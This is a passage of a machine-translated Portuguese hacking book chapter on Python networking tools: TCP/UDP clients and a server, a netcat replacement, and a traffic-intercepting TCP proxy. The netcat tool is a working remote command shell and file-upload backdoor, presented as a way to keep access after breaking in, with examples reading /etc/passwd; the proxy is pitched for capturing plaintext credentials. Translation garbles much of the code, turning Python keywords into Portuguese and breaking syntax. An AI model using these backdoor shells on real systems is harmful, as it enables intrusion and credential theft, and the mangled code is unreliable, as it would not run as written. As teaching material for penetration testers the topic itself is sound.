acesso às máquinas alvo, este módulo é tudo o que você realmente
precisa. Vamos começar criando alguns clientes e servidores simples - os dois
mais com- mon scripts de rede rápidos que você vai escrever.

Cliente TCP
Inúmeras vezes durante os testes de penetração, nós (os autores) tivemos
que chicotear um cliente TCP para testar os serviços, enviar dados de lixo,
fuzz, ou por- formar qualquer número de outras tarefas. Se você estiver
trabalhando dentro dos limites dos ambientes de grandes empresas, você
não terá o luxo de usar ferramentas de rede ou compiladores, e às vezes
você estará até faltando o básico absoluto, como a capacidade de
copiar/colar ou se conectar à Internet. É aqui que a possibilidade de criar
rapidamente um cliente TCP é extremamente útil. Mas basta de tagarelar
para obter a codificação. Aqui está um simples cliente TCP:

soquete de importação

target_host = "www.google.com"
target_port = 80

# criar um objeto de soquete


1 cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# conectar o cliente
2 client.connect((target_host,target_port))

# enviar alguns dados


3 client.send(b "GET / HTTP/1.1\r\nHost: google.comr\r\n")

# receber alguns dados


4 resposta = client.recv(4096)

10 Capítulo 2
print(response.decode())
client.close()

Ferramentas Básicas de Trabalho em


Rede 11
Primeiro criamos um objeto de soquete com os parâmetros AF_INET e
SOCK_STREAM 1. O parâmetro AF_INET indica que usaremos um endereço IPv4
padrão ou hostname, e SOCK_STREAM indica que este será um cliente TCP. Então
conectamos o cliente ao servidor 2 e enviamos alguns dados como bytes 3.
O último passo é receber alguns dados de volta e imprimir a resposta 4 e
depois feche a tomada. Esta é a forma mais simples de um cliente TCP, mas é a
um que você vai escrever com mais freqüência.
Este trecho de código faz algumas suposições sérias sobre soquetes que
você definitivamente quer estar ciente. A primeira suposição é de que nossa
necessidade de conexão sempre será bem sucedida, e a segunda é que o
servidor espera que nós enviemos dados primeiro (alguns servidores
esperam enviar dados a você primeiro e aguardam sua resposta). Nossa
terceira suposição é que o servidor sempre retornará os dados a nós em
tempo hábil. Fazemos estas suposições em grande parte por simplicidade.
Embora os programadores tenham opiniões variadas sobre como lidar com
o bloqueio de soquetes, o tratamento de exceções em soquetes e similares,
é bastante raro que os pentesters construam estas gentilezas em suas
ferramentas rápidas e sujas para o trabalho de reconhecimento ou
exploração, por isso vamos omiti-las neste capítulo.

Cliente UDP
Um cliente Python UDP não é muito diferente de um cliente TCP;
precisamos fazer apenas duas pequenas mudanças para que ele envie
pacotes em formato UDP:

soquete de importação

target_host = "127.0.0.0.1
target_port = 9997

# criar um objeto de soquete


1 cliente = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# enviar alguns dados


2 client.sendto(b "AAABBBCCC",(target_host,target_port))

# receber alguns dados


3 data, addr = client.recvfrom(4096)

print(data.decode())
client.close()

Como você pode ver, mudamos o tipo de soquete para SOCK_DGRAM 1


quando criamos o objeto soquete. O próximo passo é simplesmente chamar
sendto() 2, passando os dados e o servidor para o qual você deseja enviar os
dados. Porque o UDP é um con-
protocolo sem necessidade, não há nenhuma chamada para conectar() de
antemão. O último passo é chamar a recvfrom() 3 para receber os dados
UDP de volta. Você também notará que ele retorna tanto os dados
quanto os detalhes do host remoto e da porta.
12 Capítulo 2
Mais uma vez, não queremos ser programadores de rede superiores;
queremos que seja rápido, fácil e confiável o suficiente para lidar com nossas
tarefas diárias de hacking. Vamos passar à criação de alguns servidores
simples.

Ferramentas Básicas de Trabalho em


Rede 13
Servidor TCP
Criar servidores TCP em Python é tão fácil quanto criar um cliente. Você
pode querer usar seu próprio servidor TCP ao escrever shells de comando ou
criar um proxy (ambos os quais faremos mais tarde). Vamos começar
criando um servidor TCP padrão multi-tarefa. Crie o seguinte código:

rosca para
importação de
soquetes de
importação

IP = '0.0.0.0.0'.
PORTO = 9998

def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((IP, PORT)) 1
server.listen(5) 2
print(f'[*] Listening on { I P } :{PORT}')

enquanto Verdadeiro:
cliente, endereço = server.accept() 3
print(f'[*] Conexão aceita de {address[0]}:{address[1]}')
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start() 4

def handle_client(client_socket): 5
com cliente_socket como meia:
pedido = sock.recv(1024)
print(f'[*] Recebido: {request.decode("utf-8")}')
sock.send(b'ACK')

se nome == ' ' principal ':


principal()

Para começar, passamos no endereço IP e porta que queremos que o


servidor lis- dez em 1. Em seguida, dizemos ao servidor para começar a
escutar 2, com um log de retorno máximo de conexões definido como 5. Em
seguida, colocamos o servidor em seu laço principal, onde ele espera por
uma conexão de entrada. Quando um cliente conecta 3, recebemos a
tomada do cliente na variável cliente e os detalhes da conexão remota.
na variável de endereço. Criamos então um novo objeto thread que aponta
para nossa função handle_client, e o passamos como um argumento o objeto
socket do cliente. Em seguida, iniciamos o thread para lidar com a conexão
cliente 4, momento em que
o loop do servidor principal está pronto para lidar com outra conexão de
entrada. A função handle_client 5 executa a recv() e então envia um
simples mes- sage de volta para o cliente.
Se você usar o cliente TCP que construímos anteriormente, você pode
enviar alguns pacotes de teste para o servidor. Você deve ver os
resultados como o seguinte:

14 Capítulo 2
[*] Ouvindo em 0.0.0.0.0:9998
[*] Conexão aceita a partir de: 127.0.0.1:62512
[*] Recebido: ABCDEF

Ferramentas Básicas de Trabalho em


Rede 15
É isso aí! Embora bastante simples, este é um pedaço de código muito útil.
Vamos estendê-lo nas próximas seções, quando construirmos um substituto de
netcat e um proxy TCP.

Substituindo Netcat
Netcat é a faca utilitária da rede, portanto não é surpresa que os
administradores astutos do sistema de tempo o removam de seus sistemas.
Uma ferramenta tão útil seria uma grande vantagem se um atacante
conseguisse encontrar uma maneira de entrar. Com ela, você pode ler e
escrever dados através da rede, o que significa que você pode usá-la para
executar comandos remotos, passar arquivos para frente e para trás, ou
mesmo abrir uma shell remota. Em mais de uma ocasião, encontramos
servidores que não têm o netcat instalado, mas sim o Python. Nesses casos,
é útil criar um simples cliente e servidor de trabalho em rede que você pode
usar para empurrar arquivos, ou um ouvinte que lhe dá acesso à linha de
comando. Se você entrou através de uma aplicação web, vale
definitivamente a pena deixar cair uma chamada Python para lhe dar acesso
secundário sem ter que queimar primeiro um de seus trojans ou backdoors.
Criar uma ferramenta como esta também é um grande exercício Python,
então vamos começar a escrever netcat.py:

importação
argamassa soquete
de importação
importação shlex
importação
subprocesso de
importação
importação de textos
de importação de fios
de importação

def execute(cmd):
cmd = cmd.strip()
se não cmd:
retornar
1 saída = subprocesso.check_output(shlex.split(cmd)),
stderr=subprocess.STDOUT)
retornar saída.decodificar()

Aqui, importamos todas as nossas bibliotecas necessárias e


configuramos a função de execução, que recebe um comando, executa-o e
retorna a saída como uma string. Esta função contém uma nova biblioteca
que ainda não cobrimos: a
biblioteca de subprocessos. Esta biblioteca oferece um poderoso processo de
criação entre faces que lhe dá uma série de maneiras de interagir com os
programas do cliente. Neste caso 1, estamos usando seu método
check_output, que executa um comando
no sistema operacional local e então retorna o resultado desse
comando.
16 Capítulo 2
Agora vamos criar nosso principal bloco responsável por lidar com os
argumentos da linha de comando e chamar o resto de nossas funções:
se nome == ' principal ':
parser = argparse.ArgumentParser( 1
description='BHP Net Tool',

Ferramentas Básicas de Trabalho em


Rede 17
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''Exemplo: 2
netcat.py -t 192.168.1.108 -p 5555 -l -c # comando shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload para arquivo
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # executar comando
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # texto echo à porta do servidor
135 netcat.py -t 192.168.1.108 -p 5555 # conectar ao servidor
'''))
parser.add_argument('-c', '-comando', action='store_true', help='command shell') 3
parser.add_argument('-e', '--execute', help='execute comando especificado')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')
parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
se args.listen: 4
tampão = '''
senão:
buffer = sys.stdin.read()

nc = NetCat(args, buffer.encode())
nc.run()

Usamos o módulo argparse da biblioteca padrão para criar uma interface


com- mand line 1. Forneceremos argumentos para que possa ser
invocado para carregar um arquivo, executar um comando ou iniciar um
shell de comando.
Fornecemos exemplos de uso que o programa apresentará quando o usuário o
invocar com --ajuda 2 e acrescentamos seis argumentos que especificam
como queremos que o programa se comporte 3. O argumento -c estabelece
uma shell interativa, o argumento -e executa um comando específico, o
argumento -l indica que
deve ser criado um ouvinte, o argumento -p especifica a porta na qual se
comunicar, o argumento -t especifica o IP alvo, e o argumento -u
especifica o nome de um arquivo a ser carregado. Tanto o remetente
quanto o receptor podem usar este programa, portanto, os argumentos
definem se ele é invocado para enviar ou ouvir. Os argumentos -c, -e, e -u
implicam o argumento -l, porque esses argumentos se aplicam somente ao
lado do ouvinte da comunicação. O lado remetente faz a conexão com o
ouvinte e, portanto, precisa apenas dos argumentos -t e -p para definir o
ouvinte alvo.
Se o estamos configurando como um ouvinte 4, invocamos o objeto
NetCat com uma cadeia de buffer vazia. Caso contrário, enviamos o
conteúdo do buffer a partir do stdin.
Finalmente, chamamos de método de funcionamento para iniciar a operação.
Agora vamos começar a colocar a canalização para algumas destas
características, começando com o código de nosso cliente. Adicione o
seguinte código acima do bloco principal:
classe NetCat:
1 def init (self, args, buffer=Nenhum):
self.args = args
self.buffer = tampão
18 Capítulo 2
2 self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

Ferramentas Básicas de Trabalho em


Rede 19
def run(self):
se auto.args.ouvir:
3 self.listen()
else:
4 self.send()

Inicializamos o objeto NetCat com os argumentos da linha de comando e


do buffer 1 e depois criamos o objeto socket 2.
O método de execução, que é o ponto de entrada para o gerenciamento
do objeto NetCat,
é bastante simples: delega a execução a dois métodos. Se estamos montando um
ouvinte, chamamos o método de escuta 3. Caso contrário, chamamos o
método de envio 4.
Agora vamos escrever esse método de envio:
def send(self):
1 self.socket.connect((self.args.target, self.args.port))
se self.buffer:
self.socket.send(self.buffer)

2 tente:
3 enquanto Verdadeiro:
recv_len = 1
resposta = ''
enquanto
recv_len:
data = self.socket.recv(4096) recv_len
= len(data)
resposta += data.decode()
se recv_len < 4096:
4 queb
ra em caso
de
resposta:
print(response)
buffer = input('> ')
buffer += '\n
5 self.socket.send(buffer.encode())
6 exceto KeyboardInterrupt:
print('User terminated.')
self.socket.close()
sys.exit()

Nós nos conectamos ao alvo e à porta 1, e se tivermos um buffer,


enviamos isso primeiro para o alvo. Em seguida, montamos um bloco de
tentativa/ captura para que possamos fechar manualmente a conexão com
CTRL-C 2. Em seguida, iniciamos um loop 3 para receber os dados
do alvo. Se não houver mais dados, rompemos o loop 4. Caso contrário,
imprimimos os dados de resposta e fazemos uma pausa para obter uma
entrada interativa,
envie essa entrada 5, e continue o loop.
O loop continuará até que ocorra a Interrupção do Teclado (CTRL-C) 6,
que fechará a tomada.
Agora vamos escrever o método que executa quando o programa é
20 Capítulo 2
executado como um ouvinte:
def escute(self):
1 self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)

Ferramentas Básicas de Trabalho em


Rede 21
2 enquanto Verdadeiro:
client_socket, _ = self.socket.accept()
3 client_thread = threading.Thread(
target=self.handle, args=(client_socket,)
)
client_thread.start()

O método de escuta se liga ao alvo e à porta 1 e começa a escutar


em um loop 2, passando o soquete conectado ao método de alça 3.
Agora vamos implementar a lógica para realizar carregamentos de
arquivos, executar com...
e criar uma concha interativa. O programa pode realizar estas tarefas
quando estiver operando como ouvinte.
def handle(self, client_socket):
1 se auto.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())

2 elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
se dados:
file_buffer += data
else:
intervalo

com open(self.args.upload, 'wb') como f:


f.write(file_buffer)
mensagem = f'Saved file { s e l f .args.upload}'
client_socket.send(message.encode())

3 elif self.args.command:
cmd_buffer = b''
while True:
tente:
client_socket.send(b'BHP: #> ')
enquanto '\n' não em
cmd_buffer.decode(): cmd_buffer +=
client_socket.recv(64)
resposta = execute(cmd_buffer.decode())
se resposta:
client_socket.send(response.encode())
cmd_buffer = b''
exceto Exceção como e:
print(f'server killed
{ e } ') self.socket.close()
sys.exit()

O método handle executa a tarefa correspondente ao argumento de linha


de comando que recebe: executar um comando, carregar um arquivo, ou
iniciar uma shell. Se um comando deve ser executado 1, o método de
handle passa que

16 Capítulo 2
para a função executar e envia a saída de volta para o soquete. Se um arquivo
deve ser carregado 2, configuramos um loop para ouvir o conteúdo no
soquete de escuta e receber os dados até que não haja mais dados entrando.
Então
nós escrevemos esse conteúdo acumulado no arquivo especificado.
Finalmente, se for criada uma shell 3, montamos um loop, enviamos um
prompt ao remetente e aguardamos o retorno de uma seqüência de
comandos. Em seguida, executamos o comando usando o comando
executar a função e retornar a saída do comando para o remetente.
Você notará que a casca procura um novo caractere de linha para
determinar quando processar um comando, o que o torna amigável à rede.
Ou seja, você pode usar este programa no lado do ouvinte e usar a própria
netcat no lado do remetente. Entretanto, se você estiver conjurando um
cliente Python para falar com ele, lembre-se de adicionar o caractere da nova
linha. No método de envio, você pode ver que adicionamos o novo caractere
de linha após recebermos a entrada do console.

Chutando os Pneus
Agora vamos brincar um pouco com isso para ver algum resultado. Em um terminal
ou
cmd.exe shell, execute o roteiro com o argumento --ajuda:

$ python netcat.py --ajuda


uso: netcat.py [-h] [-c] [-e EXECUTAR] [-l] [-p PORTO] [-t META] [-u UPLOAD] [-u

Argumentos opcionais

da BHP Net Tool:


-h, --ajuda mostrar esta mensagem de ajuda e sair
-c, -comando inicializar shell de comando
-e EXECUTAR, --executar EXECUTAR
executar comando especificado
-l, --oiça ouça
-p PORTO, --porto PORTO especificado
-t TARGET, --target TARGET
PI especificado
-u UPLOAD, --upload UPLOAD
arquivo de upload

Exemplo:
netcat.py -t 192.168.1.108 -p 5555 -l -c # comando shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file netcat.py -t
192.168.1.108 -p 5555 -l -e="cat /etc/passwd" # executar comando echo
'ABCDEFGHI' | ./netcat.py -t 192.168.1.108 -p 135
# ecoar texto local para a porta 135 do servidor
netcat.py -t 192.168.1.108 -p 5555 # conectar ao servidor

Agora, em sua máquina Kali, configure um ouvinte usando seu próprio


IP e porta 5555 para fornecer um escudo de comando:

$ python netcat.py -t 192.168.1.203 -p 5555 -l -c

Ferramentas Básicas de Trabalho em


Rede 17
Agora acione outro terminal em sua máquina local e execute o roteiro
no modo cliente. Lembre-se que o script lê da stdin e o fará

18 Capítulo 2
até receber o marcador de fim de arquivo (EOF). Para enviar o EOF,
pressione CTRL-D em seu teclado:

% python netcat.py -t 192.168.1.203 -p 5555


CTRL-D
<BHP:#> ls -la
total 23497
drwxr-xr-x 1 502 dialout 608 maio 16 17:12 .
drwxr-xr-x 1 502 dialout 512 Mar 29 11:23 ...
-rw-r--r-- 1 502 discagem 8795 maio 6 10:10 mytest.png
-rw-r--r-- 1 502 discagem 14610 maio 11 09:06 mytest.sh
-rw-r--r-- 1 502 discagem 8795 maio 6 10:10 mytest.txt
-rw-r--r-- 1 502 discagem 4408 maio 11 08:55 netcat.py
<BHP: #> uname -a
Linux kali 5.3.0-kali3-amd64 #1 SMP Debian 5.3.15-1kali1 (2019-12-09) x86_64 GNU/Linux

Você pode ver que nós recebemos nossa concha de comando


personalizada. Como estamos em um host Unix, podemos executar
comandos locais e receber a saída em retorno, como se estivéssemos
logados via SSH ou estivéssemos na caixa localmente. Podemos executar a
mesma configuração na máquina Kali, mas com um único comando usando
a chave -e:

$ python netcat.py -t 192.168.1.203 -p 5555 -l -e="cat /etc/passwd"

Agora, quando nos conectamos a Kali a partir da máquina local, somos


recompensados com a saída do comando:

% python netcat.py -t 192.168.1.203 -p 5555

root:x:0:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:2:bin:/bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

Poderíamos também usar netcat na máquina local:

% nc 192.168.1.203 5555
root:x:0:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:2:bin:/bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

Finalmente, poderíamos usar o cliente para enviar pedidos da maneira boa


e antiquada:

$ echo -ne "GET / HTTP/1.1\r\nHost: reachtim.comr\r\n" |python ./netcat.py -t reachtim.com


-p 80

HTTP/1.1 301 Movido permanentemente


Ferramentas Básicas de Trabalho em
Rede 19
Servidor: nginx
Data: Seg, 18 de maio de 2020 12:46:30 GMT
Tipo de conteúdo: texto/html; charset=iso-
8859-1 Comprimento do conteúdo: 229
Conexão: keep-alive Localização:
https://reachtim.com/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">


<html><head>
<título>301 Movido Permanentemente</título>
</cabeça><corpo>
<h1>Moved Permanently</h1>
<p>O documento mudou <a href="https://reachtim.com/">here</a>.</p>
</body></html>

Aí está! Embora não seja uma técnica super técnica, é uma boa dádiva
para hackear juntos algumas tomadas de cliente e servidor em Python e
usá-las para o mal. É claro que este programa cobre apenas os
fundamentos; use sua imaginação para expandi-lo ou melhorá-lo. A seguir,
vamos construir um proxy TCP, que é útil em qualquer número de cenários
ofensivos.

Construindo um Proxy TCP


Há várias razões para ter um proxy TCP em seu cinto de ferramentas. Você
pode usar um para encaminhar o tráfego de host para host, ou quando o
software baseado em rede for avaliado. Ao realizar testes de penetração em
ambientes de entrada, você provavelmente não será capaz de executar o
Wireshark; nem será capaz de carregar drivers para cheirar o loopback no
Windows, e a segmentação da rede o impedirá de executar suas
ferramentas diretamente contra seu host alvo. Construímos proxies Python
simples, como este, em vários casos para ajudá-lo a entender protocolos
desconhecidos, modificar o tráfego sendo enviado para um aplicativo e criar
casos de teste para os fuzzers.
O procurador tem algumas peças móveis. Vamos resumir os quatro
principais func- ções que precisamos escrever. Precisamos exibir a
comunicação entre as máquinas locais e remotas para o console (hexdump).
Precisamos receber dados de um soquete de entrada tanto da máquina local
quanto da remota (receber
_de). Precisamos gerenciar a direção do tráfego entre máquinas remotas e
locais (proxy_handler). Finalmente, precisamos configurar uma tomada de
escuta e passá-la para nosso proxy_handler (server_loop).
Vamos ao que interessa. Abra um novo arquivo chamado proxy.py:

rosca de
importação do
soquete de
importação do
sistema de
importação

20 Capítulo 2
1 HEX_FILTER = ''.join(
[(len(repr(chr(i))) == 3) e chr(i) ou '.' para i na faixa (256)])

def hexdump(src, length=16, show=True):


2 se isinstância(src, bytes):

Ferramentas Básicas de Trabalho em


Rede 21
src = src.decode()

resultados = lista()
para i no alcance(0, len(src), comprimento):
3 palavra = str(src[i:i+length])

4 imprimível = word.translate(HEX_FILTER)
hexa = ' '.join([f'{ord(c):02X}' for c in word])
largura hexagonal = comprimento*3
5 resultados.append(f'{i:04x} { h e x a :<{hexwidth}}}
{ p r i n t a b l e } ') if show:
para linha em
resultados:
imprimir(linha)
senão:
resultados de retorno

Começamos com algumas importações. Depois definimos uma


função hexdump que pega alguma entrada como bytes ou um fio e
imprime um hexdump para o console. Ou seja, ela emitirá os detalhes do
pacote com seus valores hexadecimais e caracteres imprimíveis em ASCII.
Isto é útil para entender protocolos desconhecidos, encontrar
credenciais de usuário em protocolos de texto simples, e muito mais.
Criamos uma cadeia de caracteres HEXFILTER 1 que contém caracteres
ASCII imprimíveis, se existir, ou um ponto (.) se tal representação não
existir. Para um exemplo
do que esta corda poderia conter, vejamos as representações de caracteres de
dois inteiros, 30 e 65, em uma concha Python interativa:

>>> chr(65)
'A'
>>> chr(30)
\x1e
>>> len(repr(chr(65))) 3
>>> len(repr(chr(30))) 6

A representação de caracteres de 65 é imprimível e a representação de


caracteres de 30 não é. Como você pode ver, a representação do
personagem imprimível tem um comprimento de 3. Usamos esse fato para
criar a cadeia final HEXFILTER: fornecer o personagem se possível e um ponto
(.) se não for.
A compreensão da lista utilizada para criar a corda emprega uma
técnica de curto-circuito booleana, o que soa bastante extravagante. Vamos
decompor: para cada número inteiro na faixa de 0 a 255, se o
comprimento do caractere correspondente for igual a 3, obtemos o
caractere (chr(i)). Caso contrário, obtemos um ponto (.). Em seguida,
juntamos essa lista em uma corda para que se pareça com algo
assim:

' .................................................................!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJK
LMNOPQRSTUVWXYZ[.]^_`abcdefghijklmnopqrstuvwxyz{|}~...........................
.............¡§COPY10¥¦§¨©ª"¬.®¯°±²³'µ¶-
¸¹º"¼½¾¿ÀÁÁÂÃÄÄÅÆÇÈÉÊÊËÌÍÎÏÐÑÒÓÔÔÔ×ØÙÚÛÜÝÞßàáâãäåæç
22 Capítulo 2
èéêêëìíîïðñòóôõö÷øùúûüýþÿ''.

A compreensão da lista dá uma representação de caráter imprimível


dos primeiros 256 números inteiros. Agora podemos criar a função
hexdump. Primeiro, nós

Ferramentas Básicas de Trabalho em


Rede 23
Certifique-se de ter uma corda, decodificando os bytes se uma corda de bytes
foi passada em 2. Depois pegamos um pedaço da corda para despejar e o
colocamos na palavra variável 3. Usamos a função de tradução embutida
para substituir a representação da cadeia de caracteres de cada caractere
pelo caractere correspondente na variável bruta
fio (para impressão) 4. Da mesma forma, substituímos a representação
hexadecimal do valor inteiro de cada caractere na corda bruta (hexa). Finalmente,
criamos um
nova matriz para segurar as cordas, resultado, que contém o valor
hexadecimal do índice do primeiro byte na palavra, o valor hexadecimal da
palavra, e sua rep- resentação imprimível 5. A saída se parece com isto:
>> hexdump('python rocks\n e proxies roll\n')
0000 70 79 74 68 6F 6E 20 72 6F 63 6B 73 0A 20 61 6E python rocks. an
0010 64 20 70 72 6F 78 69 65 73 20 72 6F 6C 6C 0A d proxies roll.

Esta função nos proporciona uma maneira de observar a comunicação


passando pelo proxy em tempo real. Agora vamos criar uma função que as
duas pontas do proxy utilizarão para receber os dados:

def receive_from(connection):
buffer = b""
1 connection.settimeout(5)
try:
enquanto Verdadeiro:
2 data = connection.recv(4096)
se não forem dados:
buffer de
quebra +=
dados
exceto Exceção como
e: passe
tampão de retorno

Para receber dados locais e remotos, passamos no objeto do soquete a


ser utilizado. Criamos uma seqüência de bytes vazios, buffer, que acumulará
as respostas do soquete 1. Por padrão, definimos um tempo limite de cinco
segundos, que
pode ser agressivo se você estiver representando o tráfego para outros países
ou com excesso de perdas
redes, portanto, aumente o tempo de espera conforme necessário.
Configuramos um loop para ler os dados de resposta no buffer 2 até que
não haja mais dados ou até que o tempo seja expirado. Finalmente,
devolvemos a seqüência de bytes de buffer ao chamador, que pode ser
a máquina local ou remota.
Às vezes, você pode querer modificar a resposta ou solicitar pacotes
antes que o procurador os envie pelo caminho. Vamos adicionar algumas
funções (request_handler e response_handler) para fazer exatamente isso:

def request_handler(buffer):
# executar modificações de
pacotes tampão de retorno

24 Capítulo 2
def response_handler(tampão):
# executar modificações de
pacotes tampão de retorno

Ferramentas Básicas de Trabalho em


Rede 25
Dentro destas funções, você pode modificar o conteúdo do pacote,
realizar tarefas de fuzzing, testar para questões de autenticação ou fazer o
que mais desejar seu coração. Isto pode ser útil, por exemplo, se você
encontrar credenciais de usuário em texto puro - níveis sendo enviados e
quiser tentar elevar os privilégios em um aplicativo passando em admin ao
invés de seu próprio nome de usuário.
Vamos agora mergulhar na função proxy_handler, adicionando este
código:

def proxy_handler(client_socket, remote_host, remote_port, receive_first):


remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host, remote_port)) 1

se receber_primeiro: 2
remote_buffer = receber_de(remote_socket)
hexdump(tampão_remoto)

remote_buffer = response_handler(tampão_de_resposta) 3
se len(remote_buffer):
print("[<===] Enviando bytes %d para o localhost". % len(remote_buffer))
client_socket.send(remote_buffer)

enquanto Verdadeiro:
local_buffer = recebe_de(cliente_socket)
se len(local_buffer):
line = "[==>]Recebido %d bytes do localhost". % len(local_buffer) print(line)
hexdump(local_buffer)

local_buffer = request_handler(local_buffer)
remote_socket.send(local_buffer) print("[==>]
Sent to remote")

remote_buffer = recebe_de(remote_socket) se
len(remote_buffer):
print("[<====] Recebido %d bytes de controle remoto". % len(remote_buffer))
hexdump(remote_buffer)

remote_buffer = response_handler(remote_buffer)
client_socket.send(remote_buffer)
print("[<===] Enviado para o localhost")

se não len(local_buffer) ou não len(remote_buffer): 4


client_socket.close()
remote_socket.close()
print("[*] Não mais dados. Fechamento de
conexões") quebra

Esta função contém a maior parte da lógica para nosso procurador.


Para começar, conectamos com o host remoto 1. Depois verificamos se
não precisamos primeiro iniciar uma conexão com o lado remoto e
solicitamos dados antes de entrar no loop principal 2. Alguns servidores
daemons esperam que você faça isso (servidores FTP normalmente
enviam um banner primeiro, por exemplo). Nós então
use a função receber_de para ambos os lados da comunicação. Ela aceita
26 Capítulo 2
um objeto de soquete conectado e realiza uma recepção. Nós despejamos o
conteúdo do pacote para que possamos inspecioná-lo para qualquer coisa
interessante. Em seguida, entregamos a saída para a função response_handler 3
e, em seguida, enviamos o buffer recebido
para o cliente local. O resto do código de procuração é simples: nós criamos
nosso loop para ler continuamente do cliente local, processar os dados, enviá-
los para o cliente remoto, ler do cliente remoto, processar os dados e enviá-los
para o cliente local até que não detectemos mais nenhum dado. Quando não há
mais dados
para enviar em ambos os lados da conexão 4, fechamos as tomadas
locais e remotas e saímos do laço.
Vamos montar a função server_loop para configurar e gerenciar a
conexão:

def server_loop(local_host, local_port,


remoto_apresentador, porto_remoto, receber_primeiro):
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 1
tente:
server.bind((local_host, local_port)) 2
exceto Exceção como e:
print('problem on bind: %r' % e)

print("[!!] Failed to listen on %s:%d" % (local_host, local_port)) print("[!!]


Verifique outras tomadas de escuta ou permissões corretas.") sys.exit(0)

print("[*] Listening on %s:%d" % (local_host, local_port))


server.listen(5)
enquanto Verdadeiro: 3
client_socket, addr = server.accept()
# imprimir as informações da conexão local
linha = "> Conexão recebida de %s:%d" % (addr[0], addr[1]) impressão(linha)
# iniciar uma thread para falar com o
proxy_thread do host remoto =
threading.Thread( 4
target=proxy_handler,
args=(client_socket, remote_host,
remote_port, receive_first))
proxy_thread.start()

A função server_loop cria um socket 1 e depois se liga ao host local e


escuta o 2. No loop principal 3, quando um novo pedido de conexão
chega, nós o entregamos ao proxy_handler em um novo thread 4, que faz
todo o envio e recebimento de bits suculentos para ambos os lados do fluxo de
dados.
A única parte que resta para escrever é a função principal:

def main():
se len(sys.argv[1:]) != 5:
print("Usage: ./proxy.py [localhost] [localport]", end='')
print("[remotehost] [remoteport] [remoteport] [receive_first]")
print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
sys.exit(0)
local_host = sys.argv[1]
local_port = int(sys.argv[2])
Ferramentas Básicas de Trabalho em
Rede 27
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

remote_host = sys.argv[3]
remote_port = int(sys.argv[4])

receive_first = sys.argv[5]

se "Verdadeiro" em
receive_first: receive_first =
Verdadeiro
senão:
receive_first = False

server_loop(local_host, local_port,
remote_host, remote_port, receive_first)

se nome == ' ' principal ':


principal()

Na função principal, aceitamos alguns argumentos de linha de


comando e depois disparamos o loop do servidor que escuta as conexões.

Chutando os Pneus
Agora que temos o núcleo do loop proxy e as funções de suporte no lugar,
vamos testá-lo contra um servidor FTP. Ligue o proxy com as seguintes opções:

tim@kali: sudo python proxy.py 192.168.1.203 21 ftp.sun.ac.za 21 Verdadeiro

Usamos o sudo aqui porque o porto 21 é um porto privilegiado,


portanto, ouvir sobre ele requer privilégios administrativos ou de raiz. Agora,
lançamos qualquer cliente FTP e o definimos para usar o localhost e a porta
21 como seu host e porta remota. É claro, você vai querer apontar seu proxy
para um servidor FTP que realmente responderá a você. Quando
comparamos isto com um servidor FTP de teste, obtivemos o seguinte
resultado:

[*] Ouvindo em 192.168.1.203:21


> Conexão de entrada recebida de 192.168.1.203:47360
[<==] Recebeu 30 bytes de controle
remoto.
000 32 32 30 20 57 65 6C 63 6F 6D 65 20 74 6F 20 66 220 Bem-vindo
0 àf

24 Capítulo 2
001 74 70 2E 73 75 6E 2E 61 63 2E 7A 61 0D 0A tp.sun.ac.za..
0
000 55 53 45 52 20 61 6E 6F 6E 79 6D 6F 75 73 0D 0A USUÁRIO
0 anônimo...
000 33 33 31 20 50 6C 65 61 73 65 20 73 70 65 63 69 331 Favor
0 especificar
001 66 79 20 74 68 65 20 70 61 73 73 77 6F 72 64 2E fy a senha.
0
002 0D 0A ..
0
000 50 41 53 53 20 73 65 6B 72 65 74 0D 0A PASS sekret...
0
000 32 33 30 20 4C 6F 67 69 6E 20 73 75 63 63 65 73 230 Sucesso no
0 Login
001 73 66 75 6C 2E 0D 0A cheio...
0
[==>] Enviado para o local.
[<==] Recebeu 6 bytes do local.
000 53 59 53 54 0D 0A SYST...
0
000 32 31 35 20 55 4E 49 58 20 54 79 70 65 3A 20 4C 215 Tipo UNIX: L
0
001 38 0D 0A 8..
0
[<==] Recebeu 28 bytes de local.
000 50 4F 52 54 20 31 39 32 2C 31 36 38 2C 31 2C 32 PORTO
0 192.168.1.2
001 30 33 2C 31 38 37 2C 32 32 32 33 0A 03,187,223..
0 0D
000 32 30 30 20 50 4F 52 54 20 63 6F 6 6 61 6E 64 200 comando
0 D D PORT
